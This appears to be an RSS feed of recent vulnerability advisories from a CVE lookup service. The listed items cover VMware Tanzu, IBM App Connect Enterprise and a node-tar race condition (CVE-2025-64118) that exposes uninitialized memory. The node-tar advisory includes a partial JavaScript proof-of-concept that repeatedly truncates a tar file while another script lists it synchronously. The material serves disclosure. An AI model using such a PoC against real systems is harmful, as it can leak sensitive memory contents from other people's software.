https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-04T06:42:15.017270+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/bdu:2026-01714 bdu:2026-01714 2026-10-04T06:42:15.100910+00:00 bdu:2026-01714 https://cve.radiocsirt.org/vuln/certfr-2026-avi-0266 certfr-2026-avi-0266 — De multiples vulnérabilités ont été découvertes dans VMware Tanzu. Elles permettent à un attaquant de provoquer un prob… 2026-10-04T06:42:15.100947+00:00 certfr-2026-avi-0266 https://cve.radiocsirt.org/vuln/euvd-2026-257303 EUVD-2026-257303 2026-10-04T06:42:15.100966+00:00 EUVD-2026-257303 https://cve.radiocsirt.org/vuln/fkie_cve-2025-64118 fkie_cve-2025-64118 2026-10-04T06:42:15.100978+00:00

node-tar is a Tar for Node.js. In 7.5.1, using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. This vulnerability is fixed in 7.5.2.

 https://cve.radiocsirt.org/vuln/ghsa-29xp-372q-xqph GHSA-29xp-372q-xqph — node-tar has a race condition leading to uninitialized memory exposure 2026-10-04T06:42:15.101006+00:00

Affected: npm: tar

### Summary

Using `.t` (aka `.list`) with `{ sync: true }` to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.

### Details

See: * https://github.com/isaacs/node-tar/issues/445 * https://github.com/isaacs/node-tar/pull/446 * Regression happened in https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d

### PoC

A: ```js import * as tar from 'tar' import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme const filesAdded = [] tar.c( { sync: true, file: 'tar.test.tmp.tar', onWriteEntry(entry) { // initially, it's uppercase and 0o644 console.log('adding', entry.path, entry.stat.mode.toString(8)) // make all the paths lowercase entry.path = entry.path.toLowerCase() // make the entry executable entry.stat.mode = 0o755 // in the archive, it's lowercase and 0o755 filesAdded.push([entry.path, entry.stat.mode.toString(8)]) }, }, ['./tar.test.tmp'], )

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){ if (i % 10000 === 0) console.log(i) fs.writeFileSync('tar.test.tmp.tar', a) fs.truncateSync('tar.test.tmp.tar', 600) } ```

B (vulnerable): ```js import * as tar from 'tar' import * as fs from 'fs'

while (true) { fs.readFileSync(import.meta.filename) tar.t({ sync: true, file: 'tar.test.tmp.tar', onReadEntry: e => e.on('data', b…

 https://cve.radiocsirt.org/vuln/ubuntu-cve-2025-64118 UBUNTU-CVE-2025-64118 2026-10-04T06:42:15.101064+00:00

Affected: Ubuntu:Pro:14.04:LTS: node-tar, Ubuntu:Pro:16.04:LTS: node-tar, Ubuntu:18.04:LTS: node-tar, Ubuntu:Pro:20.04:LTS: node-tar, Ubuntu:22.04:LTS: node-tar, Ubuntu:24.04:LTS: node-tar, Ubuntu:25.10: node-tar, Ubuntu:26.04:LTS: node-tar

node-tar is a Tar for Node.js. In 7.5.1, using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. This vulnerability is fixed in 7.5.2.

 https://cve.radiocsirt.org/vuln/wid-sec-w-2025-2681 WID-SEC-W-2025-2681 — IBM App Connect Enterprise: Mehrere Schwachstellen 2026-10-04T06:42:15.101094+00:00

Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Sicherheitsmaßnahmen zu umgehen und Cross-Site-Scripting- oder Open-Redirect-Angriffe durchzuführen, einen Denial-of-Service-Zustand herbeizuführen, Daten zu manipulieren oder vertrauliche Informationen offenzulegen.